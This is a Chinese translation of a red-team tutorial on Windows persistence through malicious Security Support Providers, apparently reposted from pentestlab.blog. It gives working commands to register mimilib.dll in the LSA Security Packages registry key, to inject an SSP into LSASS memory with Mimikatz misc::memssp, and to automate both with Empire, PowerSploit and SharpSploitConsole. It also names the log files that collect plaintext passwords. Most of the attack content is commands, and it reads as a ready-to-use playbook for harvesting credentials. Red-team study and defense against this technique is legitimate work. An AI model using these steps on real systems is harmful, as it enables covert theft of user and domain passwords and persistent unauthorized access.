Window權限維持(七):安全支持提供者


安全支持提供程序(SSP)是Windows API,用於擴展Windows身份驗證機制。LSASS進程正在Windows啟動期間加載安全支持提供程序DLL。這種行為使紅隊的攻擊者可以刪除一個任意的SSP DLL以便與LSASS進程進行交互並記錄該進程中存儲的所有密碼,或者直接用惡意的SSP對該進程進行修補而無需接觸磁盤。
該技術可用於收集一個系統或多個系統中的憑據,並將這些憑據與另一個協議(例如RDP,WMI等)結合使用,以免干擾檢測,從而在網絡中保持持久性。向主機注入惡意安全支持提供程序需要管理員級別的特權,並且可以使用兩種方法:

    1.   注冊SSP DLL
    2.   加載到內存

Mimikatz,Empire和PowerSploit支持這兩種方法,可以在紅隊操作中使用。

Mimikatz

項目Mimikatz提供了一個DLL文件(mimilib.dll),可以將其放到與LSASS進程(System32)相同的位置,以便為訪問受感染主機的任何用戶獲得純文本憑據。

C:\Windows\System32\

將文件傳輸到上述位置后,需要修改注冊表項以包括新的安全支持提供程序mimilib。

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

 SSP – mimilib注冊表

查看“安全軟件包”注冊表項將驗證是否已注入惡意安全支持提供程序。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

 注冊表–安全軟件包

由於注冊表已被篡改並且DLL存儲在系統中,因此該方法將在重新啟動后繼續存在。當域用戶再次通過系統進行身份驗證時,將創建一個名為kiwissp的新文件,該文件將記錄帳戶的憑據。

C:\Windows\System32\kiwissp.log

 Mimikatz – kiwissp

另外,Mimikatz通過向LSASS注入新的安全支持提供程序(SSP)來支持內存技術選項。此技術不需要將mimilib.dll放入磁盤或創建注冊表項。但是,缺點是在重新啟動過程中不會持續存在。

privilege::debug
misc::memssp

 Mimikatz –內存中的SSP

當用戶再次通過系統進行身份驗證時,將在System32中創建一個日志文件,其中將包含純文本用戶密碼。

C:\Windows\System32\mimilsa.log

 Mimikatz – mimilsa

Empire

Empire提供了兩個模塊,可用於枚舉現有的SSP並在目標系統上安裝惡意的SSP。默認情況下,枚舉模塊將使用活動代理,並且不需要任何其他配置。

usemodule persistence/misc/get_ssps
execute

 Empire – SSP 枚舉

同樣,直接查詢注冊表可以獲取存在的SSP的值。

shell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

 注冊表SSP的枚舉注冊表

將惡意安全支持提供程序復制到System32並更新注冊表項將結束該技術。

shell copy mimilib.dll C:\Windows\System32\

 將mimilib.dll復制到System32

由於Empire包含一個模塊,該過程可以自動進行,該模塊將自動將DLL文件復制到System32並創建注冊表項。唯一的要求是在主機上設置mimilib.dll文件的路徑。

usemodule persistence/misc/install_ssp*
set Path C:\Users\Administrator\mimilib.dll
execute


 ​ Empire SSP安裝

Empire還支持可以執行自定義Mimikatz命令的腳本。

usemodule credentials/mimikatz/command
set Command misc::memssp
execute


 Mimikatz – SSP命令


Empire還支持在進程的內存中注入惡意SSP。下面的模塊將調用Mimikatz腳本並直接執行memssp命令,作為使該技術自動化的另一種方法。

usemodule persistence/misc/memssp*
execute

 Empire – memssp

PowerSploit

PowerSploit包含兩個可以執行相同任務的腳本。在Mimikatz的PowerShell變體“ Invoke-Mimikatz ”中,執行以下命令將使用內存中技術。

Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "misc::memssp"

 PowerSploit – Mimikatz SSP

或者,將惡意的SSP DDL文件傳輸到目標主機並使用模塊Install-SSP將DLL復制到System32,並將自動修改相關的注冊表項。

Import-Module .\PowerSploit.psm1
Install-SSP -Path .\mimilib.dll


 PowerSploit –安裝SSP

SharpSploitConsole

Mimikatz已集成到SharpSploitConsole中,該應用程序旨在與Ryan Cobb發布的SharpSploit進行交互。SharpSploit是一個.NET后期開發庫,具有與PowerSploit類似的功能。當前,SharpSploitConsole通過Mimikatz模塊支持內存技術。

SharpSploitConsole_x64.exe Interact
Mimi-Command misc::memssp

 

 SharpSploitConsole – memssp

 

譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。

原文地址:https://pentestlab.blog/2019/10/21/persistence-security-support-provider/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM